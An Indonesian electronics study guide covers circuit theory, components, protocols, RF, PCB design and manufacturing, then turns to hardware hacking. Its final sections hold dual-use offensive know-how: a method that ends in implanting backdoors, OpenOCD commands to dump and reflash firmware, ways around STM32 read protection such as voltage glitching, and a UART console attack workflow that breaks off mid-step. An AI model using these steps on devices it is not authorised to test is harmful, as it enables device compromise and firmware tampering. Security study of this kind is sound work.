Referensi Komprehensif

ELEKTRONIKA
Hardware · PCB · Hacking

Bahan bacaan untuk refresher mendalam — mencakup dasar elektronika analog/digital, desain PCB profesional, hardware hacking & offensive security, manufaktur produk perangkat hacking, dan robotika.

13 Bab Utama
50+ Sub-Topik
100+ Tabel & Formula

Konsep & Hukum Dasar

Elektronika adalah ilmu yang mempelajari kontrol aliran elektron dalam material konduktor dan semikonduktor untuk memproses informasi atau energi. Semua perangkat keras — dari sensor IoT hingga firmware exploit platform — berakar pada prinsip-prinsip berikut.

Besaran Dasar Listrik

BesaranSimbolSatuanDefinisi
TeganganVVolt (V)Beda potensial antara dua titik — "tekanan" yang mendorong arus
ArusIAmpere (A)Laju aliran muatan listrik (Coulomb/detik)
ResistansiROhm (Ω)Hambatan terhadap aliran arus
KapasitansiCFarad (F)Kemampuan menyimpan muatan
InduktansiLHenry (H)Kemampuan menyimpan energi medan magnet
DayaPWatt (W)Laju transfer energi
FrekuensifHertz (Hz)Jumlah siklus per detik
ImpedansiZOhm (Ω)Resistansi total termasuk reaktansi (AC)

Hukum Ohm

Fondasi analisis rangkaian DC sederhana:

V = I × R  |  I = V/R  |  R = V/I
P = V × I = I²R = V²/R

Hukum Kirchhoff

KCL — Kirchhoff's Current Law

Jumlah arus masuk ke sebuah node = jumlah arus keluar. Arus tidak dapat "hilang" di node.

ΣI_masuk = ΣI_keluar

KVL — Kirchhoff's Voltage Law

Jumlah aljabar tegangan dalam loop tertutup = 0.

ΣV_loop = 0

Rangkaian Seri vs Paralel

Resistor Seri

R_total = R1 + R2 + ... + Rn

Arus sama di semua komponen. Tegangan terbagi.

Resistor Paralel

1/R_total = 1/R1 + 1/R2 + ... + 1/Rn

Tegangan sama di semua komponen. Arus terbagi.

Thevenin & Norton

Dua teorema yang memungkinkan menyederhanakan jaringan kompleks menjadi model sederhana:

  • Thevenin: Sumber tegangan V_th + resistansi R_th seri
  • Norton: Sumber arus I_N + resistansi R_N paralel
  • Hubungan: V_th = I_N × R_N, R_th = R_N

Analisis AC — Impedansi & Reaktansi

KomponenImpedansiBehavior
ResistorZ = RTidak frekuensi-dependen
KapasitorZ_C = 1/(jωC)Impedansi ↑ saat frekuensi ↓ — blokir DC, loloskan AC
InduktorZ_L = jωLImpedansi ↑ saat frekuensi ↑ — loloskan DC, blokir AC

Di mana ω = 2πf (frekuensi sudut, rad/s).

Filter RC Dasar

Low-Pass Filter (LPF)

Resistor di jalur sinyal, kapasitor ke ground. Frekuensi cutoff: f_c = 1/(2πRC). Loloskan sinyal di bawah f_c, attenuasi di atas.

High-Pass Filter (HPF)

Kapasitor di jalur sinyal, resistor ke ground. Frekuensi cutoff sama. Loloskan sinyal di atas f_c, attenuasi di bawah.

💡 Relevansi Hardware Hacking
Filter RC krusial untuk bypass EMI, decoupling power rail, dan memahami sinyal saat sniffing protokol serial. Filter LC digunakan di power supply switching — penting saat fault injection.

Resistor, Kapasitor & Induktor

Resistor

Komponen paling fundamental — membatasi arus dan membagi tegangan. Tersedia dalam package THT (through-hole) dan SMD.

Kode Warna Resistor THT

WarnaDigitMultiplierToleransi
Hitam0×1
Coklat1×10±1%
Merah2×100±2%
Oranye3×1K
Kuning4×10K
Hijau5×100K±0.5%
Biru6×1M±0.25%
Ungu7×10M±0.1%
Abu-abu8±0.05%
Putih9
Emas×0.1±5%
Perak×0.01±10%

Package SMD — Kode EIA

PackageDimensi (inci)Dimensi (mm)Power Rating Tipikal
04020.04×0.02"1.0×0.5 mm62.5 mW
06030.06×0.03"1.6×0.8 mm100 mW
08050.08×0.05"2.0×1.25 mm125 mW
12060.12×0.06"3.2×1.6 mm250 mW
25120.25×0.12"6.3×3.2 mm1 W

Kapasitor

Menyimpan dan melepas energi dalam medan listrik. Tiga jenis utama yang perlu dikuasai:

JenisRangeVoltase MaxKeunggulanKelemahan
Elektrolit (Al)1µF–100mF6.3–450VKapasitansi besar, murahPolar, ESR tinggi, lifetime terbatas
Keramik (MLCC)1pF–100µF4–250VESR rendah, non-polar, kecilKapasitansi berubah dengan voltage (X5R/X7R)
Tantalum100nF–1mF2.5–50VStabil, ESR rendahMahal, bisa meledak jika reverse-bias

Decoupling Capacitor

Setiap IC wajib punya decoupling cap 100nF (0.1µF) keramik sedekat mungkin ke pin VCC. Fungsi: menyaring noise power supply, menyediakan burst current saat switching.

/* Aturan decoupling praktis */
- 100nF MLCC: tiap IC, sedekat mungkin ke pin VCC
- 10µF MLCC/tantalum: tiap subsistem (MCU, modul RF, dll)
- 100µF+ elektrolit: di input/output regulator
- Seri ESR vs kapasitansi: C_bypass = I_transient / (ΔV × f_switch)

Induktor & Transformator

Induktor menyimpan energi dalam medan magnet. Kritikal di:

  • Buck/boost converter — komponen switching utama
  • Ferrite bead — filter EMI pada jalur power (impedansi tinggi di frekuensi tinggi)
  • Common-mode choke — filter noise common-mode di USB, Ethernet
  • RF choke — blokir RF masuk ke power supply
⚠ Perhatian Desain
Jangan anggap remeh placement capacitor decoupling. Trace panjang antara IC dan decoupling cap = induktansi parasitik = filter tidak bekerja optimal. Di frekuensi tinggi (>100MHz), letak fisik lebih penting dari nilai kapasitansi.

Semikonduktor & IC Analog

Dioda

TipeVf TipikalKegunaanPart Contoh
Si Rectifier0.6–0.7VRectifier, proteksi polarity1N4001–1N4007
Schottky0.2–0.4VPower supply switching, OR-ingBAT43, SS14, MBRS340
ZenerVz (fixed)Voltage reference, clamp proteksiBZX55, 1N4148
LED1.8–3.5VIndicator, optocouplerBerbagai warna
TVSESD protection, surge protectionSMAJ5.0A, PESD5V0
TunnelNegatif diffOsilator frekuensi sangat tinggi

Transistor BJT

Bipolar Junction Transistor — tiga terminal: Base, Collector, Emitter. Dua tipe: NPN dan PNP.

I_C = β × I_B  |  β (hFE) = 20–500 (tipikal)

Mode operasi:

  • Cut-off: I_B = 0, transistor OFF. Gunakan sebagai switch OFF.
  • Saturasi: V_CE ≈ 0.2V, transistor ON penuh. Gunakan sebagai switch ON.
  • Aktif: I_C = β×I_B, gunakan sebagai amplifier.

Contoh Driver LED / Relay dengan BJT NPN (misal 2N2222, BC547)

/* Resistor basis: R_B = (V_logic - V_BE) / I_B_sat */
/* I_B_sat = I_C / β × 10 (faktor saturasi 10) */
V_logic = 3.3V, V_BE = 0.7V, I_C = 100mA, β = 100
I_B_sat = (100mA / 100) × 10 = 10mA
R_B = (3.3 - 0.7) / 0.01 = 260Ω → gunakan 220Ω

MOSFET

Metal-Oxide-Semiconductor FET — dikendalikan tegangan (Gate), bukan arus. Jauh lebih efisien untuk switching daya. Terminal: Gate (G), Drain (D), Source (S).

ParameterPenjelasanRelevansi Desain
V_GS(th)Threshold gate voltage — minimal untuk konduksiPastikan logic level cukup untuk drive MOSFET (3.3V logic → pilih MOSFET V_th ≤2V)
R_DS(on)Resistansi drain-source saat ONMemengaruhi disipasi panas: P = I²×R_DS(on)
Q_gGate charge totalMenentukan kecepatan switching dan driver current yang dibutuhkan
V_DS(max)Maks tegangan drain-sourcePilih minimal 20% headroom dari V_supply
I_D(max)Maks arus drainPilih minimal 2× dari arus operasi

MOSFET sebagai High-Side Switch

Untuk switch N-Channel high-side, butuh gate voltage > V_source + V_th → perlu bootstrap circuit atau gate driver IC. Alternatif: P-Channel MOSFET (lebih mudah drive tapi R_DS(on) lebih tinggi).

Op-Amp (Operational Amplifier)

IC analog serbaguna. Input differensial (+, -), satu output. Aturan dasar:

  • Input impedansi sangat tinggi (teoritis ∞)
  • Output impedansi sangat rendah (teoritis 0)
  • Open-loop gain sangat besar (105 – 106)

Konfigurasi Umum

KonfigurasiGainKegunaan
Inverting Amp-R_f/R_inAmplifikasi dengan inversi fase
Non-Inverting Amp1 + R_f/R_gAmplifikasi tanpa inversi
Voltage Follower1 (0 dB)Buffer impedansi tinggi → rendah
Summing Amp-R_f/R_inMixer audio, DAC sederhana
Comparator∞ (tanpa feedback)Deteksi threshold, zero-crossing
Integrator-1/(jωRC)Mengintegrasikan sinyal (ADC sigma-delta)
Differentiator-jωRCDeteksi edge, rate-of-change

Voltage Regulator

TipeCara KerjaEfisiensiPart Contoh
LDO LinearDissipasi excess voltage sebagai panasRendah: η = V_out/V_inLM1117, AMS1117, MIC5219
Buck (Step-Down)Switching + induktor + kapasitorTinggi: 85–95%LM2596, MP2307, TPS62xxx
Boost (Step-Up)Switching dengan energi induktorTinggi: 80–92%MT3608, LM2577, TPS61xxx
Buck-BoostInput < atau > output75–88%LTC3115, TPS63xxx

Elektronika Digital

Logika Digital & Gerbang Logika

GerbangFungsiSimbol BooleanIC 74xx
AND1 jika semua input 1Y = A·B74HC08
OR1 jika ada input 1Y = A+B74HC32
NOT (Inverter)Membalik inputY = Ā74HC04
NANDAND + NOTY = ̄(A·B)74HC00
NOROR + NOTY = ̄(A+B)74HC02
XOR1 jika input berbedaY = A⊕B74HC86
XNORXOR + NOTY = ̄(A⊕B)74HC266

Level Tegangan Logika

FamilyVCCV_IH minV_IL maxI_OH max
TTL (LS)5V2.0V0.8V-0.4mA
CMOS (HC)2–6V3.5V @5V1.0V @5V-4mA
LVTTL3.3V2.0V0.8V-8mA
LVCMOS3.3V / 1.8V0.65×VCC0.35×VCCVaries
⚠ Level Shifting
Menghubungkan 5V output ke input 3.3V GPIO langsung = merusak MCU. Gunakan: voltage divider (R1/R2), level shifter (BSS138), atau resistor + dioda clamp ke VCC.

Flip-Flop & Register

Elemen memori dasar logika digital:

  • D Flip-Flop: Output Q mengikuti input D di clock edge. Dasar register shift.
  • SR Flip-Flop: Set/Reset. Dasar latch dan debouncer tombol.
  • JK Flip-Flop: Toggle, Set, Reset — paling fleksibel.
  • T Flip-Flop: Toggle di setiap clock — dasar binary counter.

ADC & DAC

Tipe ADCKecepatanResolusiKegunaan
SAR (Successive Approx)Menengah (1 Msps)8–16 bitMCU built-in ADC, sensor
Delta-Sigma (ΔΣ)Lambat (<1 Msps)16–24 bitAudio, presisi tinggi, timbangan
Flash ADCSangat cepat (>1 Gsps)6–8 bitOscilloscope, SDR, radar
Dual-SlopeSangat lambat12–18 bitMultimeter digital, tegangan stabil

PWM — Pulse Width Modulation

Output digital yang merepresentasikan nilai analog melalui duty cycle. Hampir semua MCU punya timer PWM hardware.

V_avg = V_high × (T_on / T_period) = V_high × Duty_Cycle

Penggunaan: kontrol motor (kecepatan), LED dimmer, sinyal servo, DAC sederhana (PWM + filter RC).

Mikrokontroler & SoC

Perbandingan Platform Populer

PlatformCoreClockFlash/RAMConnectivityUse Case
ATmega328PAVR 8-bit16 MHz32K/2KUART,SPI,I2CSimple embedded, Arduino
STM32F103ARM CM3 32-bit72 MHz128K/20KUART,SPI,I2C,USB,CANGeneral purpose, BadUSB
STM32F4xxARM CM4 32-bit168 MHz1M/192KFull + Crypto,FPUHigh perf, DSP, USB HS
RP2040Dual ARM CM0+133 MHzext/264K SRAMUART,SPI,I2C,PIORaspberry Pi Pico, DMA tricks
ESP32-S3Dual Xtensa LX7240 MHz16M ext/512KWiFi,BT5,BLE,USB-OTGIoT, WiFi hacking, BLE
ESP32-C3RISC-V 32-bit160 MHz4M/400KWiFi,BLE,USB-SerialLow cost WiFi node
nRF52840ARM CM464 MHz1M/256KBLE5,Thread,USB,NFCBLE hacking, keystroke inject

SoC untuk Embedded Linux

PlatformCPURAMConnectivityUse Case
Raspberry Pi 44× CM A721–8 GBGbE,WiFi,BT,USB3Full Linux, pentest platform
Orange Pi Zero 24× CM A53512M–1GWiFi,BT,GbECompact Linux node
Banana Pi BPI-R3MT7986 (4C)2 GBDual WiFi6,2×GbE,SFPRouter platform, OpenWRT
Allwinner H34× CM A7512M–2G100M EthernetEmbedded Linux, DIY

GPIO & Peripheral Interface

/* Peripheral mapping tipikal STM32 */
PA0–PA15  : GPIO Port A (bisa dikonfigurasi sebagai ADC, Timer, dll)
USART1    : PA9 (TX), PA10 (RX)
SPI1      : PA5 (SCK), PA6 (MISO), PA7 (MOSI), PA4 (NSS)
I2C1      : PB6 (SCL), PB7 (SDA)
USB FS    : PA11 (D-), PA12 (D+)
JTAG      : PA13 (SWDIO), PA14 (SWCLK), PB3 (TDO), PA15 (TDI)

/* Alternate Function (AF) harus dikonfigurasi di register MODER, AFRL/AFRH */

Protokol Serial & Debug

UART — Universal Async Receiver/Transmitter

Protokol paling sederhana, asinkron, point-to-point. Tidak ada clock line terpisah — kedua sisi harus agree pada baud rate.

TX──────────→ RX (device A ke device B)
RX──────────← TX (device B ke device A)
GND ────────────── GND
ParameterNilai UmumCatatan
Baud rate9600, 115200, 230400, 921600Default console Linux: 115200
Data bits8 (paling umum), 7, 5
ParityNone (paling umum), Even, Odd
Stop bits1 (paling umum), 2
Konfigurasi default8N18 data, No parity, 1 stop

Identifikasi UART di PCB (untuk Hardware Hacking)

1. Cari test point / header 3–4 pin berdekatan
2. Gunakan multimeter: pin GND → 0V, VCC → 3.3/5V
3. TX pin: saat boot ada logic toggling (oscilloscope/logic analyzer)
4. TX tegangan idle = HIGH (VCC level), RX = resistor pull-up
5. Hubungkan ke USB-UART (CP2102, CH340, FT232) dengan level yang sesuai
6. minicom / screen / picocom pada Linux:
screen /dev/ttyUSB0 115200

SPI — Serial Peripheral Interface

Protokol sinkron, full-duplex, master-slave. Kecepatan bisa mencapai puluhan MHz.

SCK (Clock) — Master generate
MOSI (Master Out) — Master → Slave
MISO (Master In) — Slave → Master
CS/SS (Chip Select) — Active LOW, satu per slave

SPI Mode (CPOL/CPHA):

ModeCPOLCPHAClock IdleSample
000LOWRising edge
101LOWFalling edge
210HIGHFalling edge
311HIGHRising edge

I2C — Inter-Integrated Circuit

Dua kabel (SCL + SDA), multi-master multi-slave, tiap device punya alamat 7-bit atau 10-bit.

SCL ── 4.7kΩ ── VCC (pull-up wajib)
SDA ── 4.7kΩ ── VCC (pull-up wajib)
Speed: Standard (100kHz), Fast (400kHz), Fast+ (1MHz), HS (3.4MHz)

Protokol I2C address scan (untuk recon hardware):

# Scan I2C bus dengan i2c-tools (Linux)
i2cdetect -y 1   # bus 1 (/dev/i2c-1)
# Output: grid address 0x00–0x7F, 'UU'=used, '--'=empty, hex=ditemukan

# Baca register dari device address 0x48
i2cget -y 1 0x48 0x00

JTAG — Joint Test Action Group

Protokol debug hardware via IEEE 1149.1. Dapat mengakses CPU registers, memory, flash programming, dan boundary scan.

TCK — Test Clock
TMS — Test Mode Select (navigasi state machine TAP)
TDI — Test Data In
TDO — Test Data Out
TRST — Test Reset (opsional, active LOW)

SWD — Serial Wire Debug

Versi 2-pin dari JTAG dari ARM. Lebih ringkas, sama powerful untuk debug Cortex-M.

SWDIO — Data In/Out (bidireksional)
SWCLK — Clock
GND — Ground
VTREF — Target voltage reference (opsional)

USB — Universal Serial Bus

StandarKecepatan MaxPowerKonektor
USB 1.1 LS/FS12 Mbps500mA @5VType-A/B
USB 2.0 HS480 Mbps500mA @5VA/B/Mini/Micro
USB 3.2 Gen15 Gbps900mA @5VA/B/C
USB 3.2 Gen2×220 Gbps3A @20V (PD)Type-C

Kabel USB 2.0: VBUS(5V), D-, D+, GND. Sinyal diferensial D+/D- untuk noise immunity.

CAN Bus

Protokol robust untuk otomotif dan industri — diferensial (CAN_H, CAN_L), multi-master, hingga 1Mbps. Penting untuk automotive hacking dan robotika industri. Terminator 120Ω di kedua ujung bus wajib.

RF & Wireless Communication

Konsep Dasar RF

ParameterRumus/Keterangan
Panjang gelombangλ = c / f (c = 3×10⁸ m/s)
Antena λ/4Panjang = 75mm / f(GHz) — quarter-wave monopole
dBmPower relatif terhadap 1mW: P(dBm) = 10×log10(P/1mW)
Link budgetEIRP - Path Loss + Gain receiver = Signal di receiver
SensitivityMin signal level yang bisa di-decode (tipikal -100 dBm untuk LoRa)

Modulasi

ModulasiDeskripsiAplikasi
AM (DSB/SSB)Amplitudo carrier dimodulasiRadio broadcast, AIS
FMFrekuensi carrier dimodulasiRadio FM, WBFM
FSK/GFSKFrekuensi shift antara simbolBluetooth, POCSAG, ISM devices
OOK (On-Off Keying)Carrier ON=1, OFF=0Remote 433MHz, 315MHz
ASKAmplitudo beda untuk tiap simbolRFID pasif, NFC
OFDMMulti-carrier, anti-multipathWiFi, LTE, DVB-T
BPSK/QPSKPhase shift antar simbolGPS, satelit, LoRa
LoRa (CSS)Chirp Spread SpectrumLPWAN, jarak jauh

Protokol Wireless Populer

2.4 GHz
WiFi 802.11

b/g/n (2.4G), a/ac/ax (5G). OFDM, MIMO. Channels 1–13 (ID).

2.4 GHz
Bluetooth 5

Classic + BLE. GFSK, FHSS. BLE: 40 channels, 2MHz spacing.

Sub-GHz
LoRaWAN

915/868/433 MHz (Asia Pasifik: AS923). SF7–SF12, BW 125/250kHz.

13.56 MHz
NFC / ISO14443

MIFARE Classic, DESFire, ISO14443A/B. Range <10cm.

125 kHz
EM4100 / HID

Access control RFID lama. Manchester/biphase. Mudah diklon.

433/315 MHz
ISM OOK/ASK

Remote garage, alarm, sensor wireless. Mudah di-replay.

SDR — Software Defined Radio

Hardware RF yang fungsi modulasi/demodulasi dilakukan oleh software. Ideal untuk SIGINT dan wireless security research.

HardwareFrekuensiTX/RXBandwidthHarga
RTL-SDR v3500kHz–1.75GHzRX only2.4 MHz~$30
HackRF One1MHz–6GHzHalf-duplex20 MHz~$300
ADALM-PLUTO325MHz–3.8GHzFull-duplex56 MHz~$100
LimeSDR Mini10MHz–3.5GHzFull-duplex30.72 MHz~$200
USRP B21070MHz–6GHzFull-duplex56 MHz~$1500

Desain PCB Profesional

Alur Desain PCB

ALUR DESAIN PCB:

1. Schematic Capture
   ├─ Gambar skematik di KiCad / Altium / EasyEDA
   ├─ Assign footprint ke tiap simbol
   └─ Run ERC (Electrical Rules Check)

2. PCB Layout
   ├─ Import netlist dari schematic
   ├─ Place komponen (critical first: IC, connector, power)
   ├─ Route traces (power/ground first)
   ├─ Pour copper ground plane
   └─ Run DRC (Design Rules Check)

3. Design Review
   ├─ Cek clearance: trace-to-trace, pad-to-pad
   ├─ Verifikasi decoupling cap placement
   ├─ Signal integrity check (panjang trace kritis)
   └─ Thermal analysis (komponen berdaya tinggi)

4. Gerber Generation
   ├─ Copper layers (F.Cu, B.Cu, inner layers)
   ├─ Solder mask (F.Mask, B.Mask)
   ├─ Silkscreen (F.Silkscreen, B.Silkscreen)
   ├─ Drill file (.drl / Excellon)
   └─ BOM + CPL (centroid/placement file)

5. Fabrication
   ├─ Upload ke fab: JLCPCB, PCBWay, OSHPark
   └─ Pilih: layer count, thickness, finish, color

Tools Desain PCB

SoftwareLisensiKelebihanCocok untuk
KiCad 8Free/Open SourceFull-featured, PCB scripting (Python), SPICESemua level, favorit komunitas
EasyEDAFree (cloud)Terintegrasi LCSC/JLCPCB, mudah pemulaPrototyping cepat
Altium DesignerBerbayar mahalIndustry standard, powerful rulesProfesional / industri
EagleFreemiumLibrary banyak, Autodesk ecoHobbyist, Sparkfun/Adafruit
gEDA / PCBFreeFully FOSS, scriptableAdvanced Linux users

Design Rules — Aturan Dasar

ParameterJLCPCB StandardJLCPCB AdvancedCatatan
Min trace width0.127mm (5mil)0.075mm (3mil)Power trace lebih lebar
Min clearance0.127mm (5mil)0.075mm (3mil)High voltage butuh lebih besar
Min drill size0.3mm0.15mmVia terkecil
Min annular ring0.15mm0.1mmPad sekitar hole
Board thickness1.6mm (default)0.4–3.2mm1.0mm untuk fleksibel

Trace Width vs Current

Lebar trace harus cukup untuk arus yang mengalir. Gunakan IPC-2221 calculator atau rumus:

W = (I / (k × ΔT^0.44))^(1/0.725) / (th × 0.0647)

Di mana k=0.048 (internal), 0.048 (external), ΔT = temperature rise (°C), th = thickness (oz).

Arus (A)Lebar Min External (1oz, ΔT=10°C)Lebar Min Internal
0.5A0.30mm0.50mm
1A0.50mm0.80mm
2A0.90mm1.50mm
3A1.30mm2.20mm
5A2.00mm3.50mm

Layer, Stackup & Via Types

PCB Layer Types

LayerFungsi
F.Cu / Top CopperLapisan tembaga depan — komponen SMD utama
B.Cu / Bottom CopperLapisan tembaga belakang
In1.Cu, In2.Cu ...Inner copper (PCB 4-layer+) — biasanya Power & GND plane
F.Mask / B.MaskSolder mask — lapisan hijau/merah/biru yang menutupi tembaga
F.Paste / B.PasteStencil paste — untuk aperture solder paste SMD
F.SilkscreenLabel komponen, value, reference designator
Edge.CutsKontur/outline PCB
CourtyardArea eksklusif komponen, cegah overlap

Stackup 4-Layer (Recommended)

STACKUP 4-LAYER STANDAR:
┌─────────────────────────────────┐
│  Layer 1: Signal (F.Cu)         │  ← Komponen, signal traces
│  Prepreg (0.1mm)                │
│  Layer 2: GND Plane (In1.Cu)    │  ← Ground plane solid
│  Core (1.2mm)                   │
│  Layer 3: Power Plane (In2.Cu)  │  ← VCC planes berbeda tegangan
│  Prepreg (0.1mm)                │
│  Layer 4: Signal (B.Cu)         │  ← Signal traces, komponen
└─────────────────────────────────┘

Benefits:
- GND plane solid = impedansi referensi stabil = SI lebih baik
- EMI jauh lebih rendah dari 2-layer
- Crosstalk minimal antara Layer 1 dan 4

Via Types

Tipe ViaDeskripsiCostKegunaan
Through-hole ViaMenembus seluruh boardStandardKoneksi antar layer umum
Blind ViaDari outer ke inner layer sajaMahalHigh-density design, BGA
Buried ViaAntar inner layer, tidak menyentuh outerSangat mahalHDI PCB, miniaturisasi ekstrem
Micro ViaLaser drill, diameter <0.15mmPremiumHDI, smartphone PCB
Via-in-PadVia di dalam pad komponenMedium+QFN, BGA thermal pad

Copper Pour & Ground Plane

Selalu isi area kosong dengan copper pour yang dihubungkan ke GND. Manfaat:

  • Low-impedance return path untuk signal
  • Mengurangi EMI radiasi
  • Heatspreading untuk komponen panas
  • Mechanical stability (warp reduction)

Gunakan thermals (spoke pad) untuk via dan pad THT agar mudah disolder. Gunakan solid pour untuk high-current atau thermal pad IC power.

Differential Pair Routing

Untuk USB D+/D-, Ethernet, PCIe, HDMI — trace harus:

  • Panjang sama (matched length, maksimal ±0.1mm perbedaan)
  • Spacing konsisten (biasanya 2×W, di mana W = trace width)
  • Tidak melewati via jika mungkin
  • Impedansi target: USB=90Ω diff, Ethernet=100Ω diff, PCIe=85Ω diff

Fabrikasi PCB & Assembly (PCBA)

Proses Fabrikasi PCB

PROSES FABRIKASI (simplified):

1. Laminate cutting dari FR4 (glass-epoxy) dengan copper foil
2. Inner layer imaging: film fotoresist + UV expose + etching
3. Layer lamination: press dengan suhu/tekanan tinggi
4. Drilling: mechanical drill (through-hole) / laser (micro via)
5. Plating: electroless copper deposit ke dinding hole
6. Outer layer imaging + etching
7. Solder mask apply (LPI — Liquid Photo Imageable)
8. Surface finish deposit
9. Silkscreen printing
10. Electrical test (flying probe atau bed of nails)
11. Routing/depanelization + visual inspection

Surface Finish

FinishNamaShelf LifeSolderableCatatan
HASLHot Air Solder Leveling12 bulanSangat baikMurah, permukaan tidak rata (masalah fine-pitch)
ENIGElectroless Nickel Immersion Gold12 bulanSangat baikFlat, cocok BGA/fine-pitch. Rentan "black pad"
Lead-Free HASLHASL Pb-free12 bulanBaikRoHS compliant, sedikit lebih kasar
OSPOrganic Solderability Preservative6 bulanCukupTipis organik, murah, tidak tahan re-solder
ENEPIGElectroless Ni/Pd/Au12 bulanTerbaikMahal, untuk RF dan wire bonding

SMT Assembly Process

PROSES PCBA SMT:

1. Solder Paste Printing
   ├─ Stencil baja (laser cut) 0.12–0.15mm thick
   └─ Squeegee paste di atas stencil

2. Component Placement
   ├─ Pick & Place machine (PnP)
   ├─ Input: centroid file (X, Y, rotation, reference)
   └─ Komponen: dari tape reel, tray, atau tube

3. Reflow Soldering
   ├─ Preheat zone (ramp up 1–3°C/s → 150–180°C)
   ├─ Soak zone (150–180°C, 60–120s, flux activation)
   ├─ Reflow zone (puncak 235–250°C, ≤30s)
   └─ Cooling (maks 4°C/s ke bawah, cegah crack)

4. Inspection
   ├─ AOI (Automated Optical Inspection)
   ├─ X-ray (untuk BGA, QFN dengan hidden solder ball)
   └─ Manual inspection

5. Through-Hole Soldering
   ├─ Selective soldering atau
   └─ Wave soldering

Defek Solder Umum dan Penyebab

DefekPenyebabSolusi
Solder bridgeTerlalu banyak paste, pad terlalu dekatKurangi aperture stencil, flux + wick
TombstoningPanas tidak merata di komponen 2-pin kecilSymmetric thermal design, slow ramp
Cold solder (dull)Gerakan saat cooling, suhu kurangNaikkan peak temp, cegah vibrasi
Solder ballMoisture di paste, preheat terlalu cepatSimpan paste di kulkas, ramp lebih lambat
Insufficient solderPaste coverage kurang, aperture tersumbatBersihkan stencil, tambah paste volume
Void di BGAMoisture, flux outgassingPre-bake PCB dan komponen, vacuum reflow

BOM Management & Sourcing Komponen

Bill of Materials (BOM)

BOM adalah daftar lengkap semua komponen dalam produk. Kolom esensial untuk PCB manufacturing:

Kolom BOM minimal untuk PCBA:
Reference  : R1, C3, U2, ...
Value      : 10kΩ, 100nF, STM32F103C8
Footprint  : 0402, 0805, LQFP48
Quantity   : per board
MPN        : Manufacturer Part Number (e.g. RC0402FR-0710KL)
Manufacturer: Yageo, Murata, STMicro
Description: Resistor 10kΩ 1% 62.5mW
LCSC PN    : C25804 (untuk order via JLCPCB/LCSC)

Sumber Komponen

SupplierKeunggulanMin OrderPengiriman ke ID
LCSCHarga murah, stok besar, terintegrasi JLCPCB1–10 pcs2–3 minggu DHL
MouserStok luas, datasheet lengkap, distributor resmi1 pcs3–7 hari FedEx
DigiKeyStok terbesar, cari cepat, dokumentasi baik1 pcs3–7 hari FedEx
AliExpressSangat murah, cocok prototyping, hati-hati palsu1 pcs2–4 minggu
Tokopedia/ShopeeStok lokal, cepat, beli qty kecil1 pcs1–3 hari

Fabrikasi PCB — Harga Perbandingan

Fab House2-layer 100×100mm/5pcsKualitasWaktu
JLCPCB~$2 USDSangat baik2–3 hari produksi
PCBWay~$5 USDSangat baik2–3 hari produksi
AllPCB~$3 USDBaik2–3 hari produksi
OSHPark~$10 USDPremium12 hari
💡 Tips Manufaktur Produk
Untuk prototype pertama: order PCB bare dari JLCPCB + komponen dari LCSC, gunakan SMT service JLCPCB (ekonomis untuk komponen basic). Untuk produksi >100 pcs: minta quote dari PCBWay dengan full PCBA service. Selalu order 10–20% ekstra komponen untuk rework dan spare.

Hardware Recon & PCB Reverse Engineering

Tahapan Hardware Security Assessment

METHODOLOGY:
1. OSINT      : FCC ID database, datasheet, GitHub, Shodan
2. Physical   : Bongkar enclosure, foto PCB, ID komponen
3. Recon      : Identifikasi MCU, flash chip, debug interface
4. Access     : UART console, JTAG/SWD, SPI dump
5. Firmware   : Extract, analisis binwalk, strings, reverse
6. Vulnerability: Temukan bug, exploit
7. Persistence: Backdoor, implant, modifikasi firmware

Identifikasi Komponen di PCB

Langkah-langkah identifikasi chips saat recon:

  • IC marking: Baca tulisan di chip. Format: logo mfr + part number + date code + lot
  • Googling marking: Cari langsung. Chips custom kadang diobfuskasi (marking palsu atau dihapus)
  • Package inference: QFP-64 → MCU menengah. BGA → SoC kompleks. SOIC-8 → Flash/EEPROM/OpAmp
  • FCC ID: Setiap produk wireless yang dijual di AS punya FCC ID — fccid.io menyimpan foto internal PCB
  • Test points: Cari via exposed atau header 2–10 pin. Biasanya UART, JTAG, atau power

Alat Hardware Hacking Esensial

Debugging
J-Link / ST-Link V2

Programmer + debugger ARM JTAG/SWD. ST-Link V2 clone ~$3 dari AliExpress.

USB–Serial
CP2102 / CH340

USB ke UART adapter. CP2102 lebih stabil, CH340 murah. Wajib ada di toolkit.

Multi-Protocol
Bus Pirate v3/v4

UART, SPI, I2C, 1-Wire, JTAG dari satu device USB. Open source.

Logic Analyzer
Saleae / FX2LAFW

8–16 channel, decode UART/SPI/I2C/CAN secara real-time. Clone Saleae ~$10.

SPI Programmer
CH341A

Baca/tulis flash SPI (25xxx) dan EEPROM (24xxx). ~$5, support astrorom/flashrom.

Glitching
ChipWhisperer / DIY

Voltage/clock glitch platform. ChipWhisperer Lite ~$250. DIY dengan FPGA atau MCU cepat.

JTAG & SWD Debug Access

Menemukan JTAG Pins (JTAGulator / Manual)

# Menggunakan JTAGulator (tool khusus)
# Hubungkan test points ke channel JTAGulator
# Set voltase target (1.8V / 3.3V / 5V)
# Run BYPASS scan untuk enumerate semua pin:
Target voltage: 3.3V
Number of channels: 8
Run BYPASSotomatis scan kombinasi TCK/TMS/TDI/TDO

# Atau manual dengan oscilloscope/logic analyzer:
# Pin TCK: square wave saat aktif
# Pin TDO: output saat chain scan, perlu probe saat reset

OpenOCD — Open On-Chip Debugger

# Install
sudo apt install openocd

# Koneksi ke STM32 via ST-Link + SWD
openocd -f interface/stlink.cfg -f target/stm32f1x.cfg

# Di telnet (port 4444) atau GDB (port 3333):
telnet localhost 4444

# Di OpenOCD CLI:
> halt                         # Halt CPU
> reg                          # Lihat semua registers
> mdw 0x08000000 32           # Dump 32 words dari flash
> dump_image fw.bin 0x08000000 0x20000  # Dump firmware
> flash write_image erase patched.bin 0x08000000  # Flash firmware
> reset run

Mengatasi Read Protection (RDP)

RDP LevelSTM32DeskripsiBypass
Level 0Tidak ada proteksiFlash dapat dibaca bebas
Level 1Read protectDebug interface diblokir. Flash tidak bisa di-dump via JTAGVoltage glitch, cold boot attack, decap+probe
Level 2Chip protectDebug interface permanen disabled, tidak bisa di-resetDecap+FIB+microprobing, difasilitasi fault injection
⚡ Voltage Glitch bypass RDP1
Beberapa STM32 series rentan terhadap voltage glitch pada VDD saat boot — CPU membaca RDP byte sebelum full protection aktif. Timing glitch pada nanosecond level dapat bypass RDP1. Tools: ChipWhisperer, custom FPGA dengan delay presisi. CVE tersedia untuk beberapa chip families.

UART / Serial Console Access

Workflow UART Console Attack

1. Identifikasi & konfirmasi pins (lihat §06 di atas)

2. Sambungkan USB-UART adapter:
   Device TXAdapter RX
   Device RXAdapter TX
   Device GNDAdapter GND
